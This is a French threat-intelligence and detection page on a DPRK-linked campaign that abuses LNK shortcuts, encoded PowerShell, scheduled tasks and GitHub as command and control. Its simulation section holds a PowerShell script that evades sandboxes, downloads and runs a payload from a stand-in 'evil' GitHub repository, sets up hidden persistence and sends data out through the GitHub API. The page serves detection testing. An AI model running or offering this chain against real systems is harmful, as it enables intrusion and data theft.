Campagnes Liées à la RPDC avec LNK et GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
FortiGuard Labs signale une campagne liée à la RPDC qui utilise des fichiers de raccourci LNK pour lancer des étapes PowerShell encodées, établir une persistance via des tâches planifiées, et exfiltrer des données via GitHub. La ligne de commande LNK intègre une logique de décodage, permettant aux opérateurs de s’appuyer sur les utilitaires intégrés de Windows et de réduire les artefacts évidents de logiciels malveillants. L’activité cible des organisations en Corée du Sud et suit un flux de travail multi-étapes. En utilisant des infrastructures publiques légitimes comme GitHub, la campagne se fond dans le trafic normal des développeurs et complique le blocage basé sur le réseau.
Enquête
Les analystes ont documenté une chaîne en trois étapes : (1) des fichiers LNK transportant des PowerShell encodés dans leurs arguments, (2) une étape PowerShell qui effectue des vérifications anti-analyse, dépose un VBScript, crée une tâche planifiée cachée, et collecte des détails de l’hôte/système, et (3) une étape finale qui récupère à plusieurs reprises des modules supplémentaires à partir d’un dépôt GitHub. Plusieurs comptes GitHub ont été observés soutenant le flux de travail C2, y compris des jetons d’accès codés en dur utilisés pour télécharger des données via l’API GitHub. Les opérateurs ont également utilisé des documents PDF factices pour rendre l’appât plus crédible et réduire la suspicion de l’utilisateur.
Atténuation
Bloquer ou restreindre l’exécution des fichiers LNK provenant de locations non fiables (téléchargements d’email, dossiers temporaires, chemins de téléchargement de profil utilisateur). Surveiller les modèles d’exécution suspects de PowerShell et de VBScript, surtout lorsqu’ils sont suivis par la création de tâches planifiées inhabituelles. Lorsque cela est possible, limiter ou détourner l’accès sortant aux points de terminaison de l’API GitHub pour les systèmes sans besoin professionnel, et alerter sur les usages atypiques de l’API GitHub à partir d’hôtes non développeurs. Renforcer le contrôle des applications et les détections EDR pour signaler l’abus des outils natifs de Windows utilisés pour le staging, le décodage, et la persistance.
Réponse
Si détecté, isoler le point de terminaison et conserver les preuves en collectant le fichier LNK, la définition de tâche planifiée, et tous les scripts déposés. Supprimer la tâche planifiée, révoquer tout jeton d’accès GitHub exposé, et effectuer un balayage complet de l’hôte pour les artefacts liés et les modules suivants. Informer les parties prenantes concernées, puis mettre à jour le contenu de détection pour couvrir les comportements observés et les IOC afin de soutenir une chasse d’environnement plus large.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Phishing: Piège par piégé par pièce jointe</b><br/>Livraison de .lnk malveillant déguisé en PDF coréen"] class action_initial_access action tool_lnk["<b>Outil</b> – <b>Nom</b>: .lnk Raccourci<br/><b>Technique</b>: T1547.009 Modification de raccourci"] class tool_lnk tool action_execution_lnk["<b>Action</b> – <b>T1547.009 Exécution d’autostart de démarrage ou de logon: Modification de raccourci</b><br/>Le raccourci déclenche PowerShell"] class action_execution_lnk action tool_powershell["<b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Technique</b>: T1059.001 Interpréteur de commandes et de scripts"] class tool_powershell tool action_obfuscation["<b>Action</b> – <b>Techniques d’obfuscation</b><br/>T1027.012 Dissimulation d’icône, T1027.008 Charges utiles dépouillées, T1027.009 Charges utiles intégrées"] class action_obfuscation action action_sandbox_evasion["<b>Action</b> – <b>T1497.002 Évasion par virtualisation/Sandbox</b><br/>Vérifie les outils d’analyse et annule"] class action_sandbox_evasion action action_decode_payload["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Décode Base64/XOR, écrit VBScript dans %Temp%"] class action_decode_payload action tool_vbscript["<b>Outil</b> – <b>Nom</b>: VBScript<br/>Écriture de script dans %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Outil</b> – <b>Nom</b>: Tâche planifiée<br/><b>Technique</b>: T1037 Scripts d’initialisation de démarrage ou de logon"] class tool_scheduled_task tool action_persistence["<b>Action</b> – <b>Persistance</b><br/>Exécute VBScript toutes les 30 minutes"] class action_persistence action action_discovery["<b>Action</b> – <b>Découverte</b><br/>T1082 Découverte des informations système, T1057 Découverte de processus"] class action_discovery action action_c2["<b>Action</b> – <b>Commande et contrôle</b><br/>T1567.001 Exfiltration vers GitHub, T1102.002 Service Web bidirectionnel, T1538 Tableau de bord de service cloud"] class action_c2 action tool_github["<b>Outil</b> – <b>Nom</b>: API GitHub<br/>Utilisé pour l’exfiltration et la récupération des modules"] class tool_github tool %% Connections action_initial_access –>|livre| tool_lnk tool_lnk –>|déclenche| action_execution_lnk action_execution_lnk –>|utilise| tool_powershell tool_powershell –>|exécute| action_obfuscation action_obfuscation –>|mène à| action_sandbox_evasion action_sandbox_evasion –>|poursuit vers| action_decode_payload action_decode_payload –>|écrit| tool_vbscript tool_vbscript –>|crée| tool_scheduled_task tool_scheduled_task –>|permet| action_persistence action_persistence –>|collecte des données pour| action_discovery action_discovery –>|envoie des données à| action_c2 action_c2 –>|utilise| tool_github "
Flux d’attaque
Détections
Indicateurs possibles d’obfuscation PowerShell (via powershell)
Voir
Téléchargement de fichiers GitHub potentiel initié par un processus inhabituel (via network_connection)
Voir
Chaînes PowerShell suspectes (via powershell)
Voir
Téléchargement ou chargement via PowerShell (via cmdline)
Voir
Possibilité d’exécution via des lignes de commande PowerShell cachées (via cmdline)
Voir
Fichier LNK potentiellement malveillant avec double extension (via cmdline)
Voir
Vérifications d’évasion possibles (via powershell)
Voir
Chaînes PowerShell suspectes (via cmdline)
Voir
Création possible de tâche planifiée (via powershell)
Voir
IOCs (HashSha256) à détecter : Campagnes liées à la RPDC avec LNK et GitHub C2
Voir
Script PowerShell récupérant de GitHub pour la persistance et l’exfiltration de données [Windows PowerShell]
Voir
Exécution de simulation
Condition préalable : Le contrôle préalable de télémétrie et de référence doit avoir été franchi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Récit d’attaque & commandes :
L’adversaire a compromis un compte utilisateur à faible privilège sur une station de travail Windows. Pour maintenir la persistance et exfiltrer les données discrètement, ils conçoivent une ligne unique PowerShell qui :- Vérifie les processus d’outils d’analyse courants (
vmxnet,vboxservice,idaq,fiddler,wireshark). Si l’un est présent, le script s’arrête. - Télécharge une charge utile encodée en Base64 depuis un dépôt GitHub public (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Décode la charge utile en mémoire et l’exécute.
- Enregistre une tâche planifiée via
New‑ScheduledTaskActionpour relancer la même commande PowerShell à chaque redémarrage (persistance). - Envoie les données volées au dépôt GitHub de l’attaquant en utilisant l’API GitHub (
api.github.com).
Toutes les étapes sont concaténées avec des points-virgules, en s’assurant que la ligne de commande entière contient les chaînes requises pour la règle Sigma.
- Vérifie les processus d’outils d’analyse courants (
-
Script de test de régression :
# ------------------------------------------------- # Ligne unique qui satisfait chaque condition Sigma # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Exfiltrate des données d'exemple $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Remarque : Remplacer
<INSERT SAME ONE‑Liner HERE>par la même ligne unique exacte (récursive) ou la stocker dans une variable pour éviter la duplication. Le script est volontairement verbeux pour illustrer chaque étape ; dans une campagne réelle, l’adversaire le compacterait davantage. -
Commandes de nettoyage :
# Supprimer la tâche planifiée Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Supprimer tous les fichiers temporaires (si certains ont été écrits) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Optionnellement, terminer le processus malveillant en mémoire (s'il est encore en cours) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force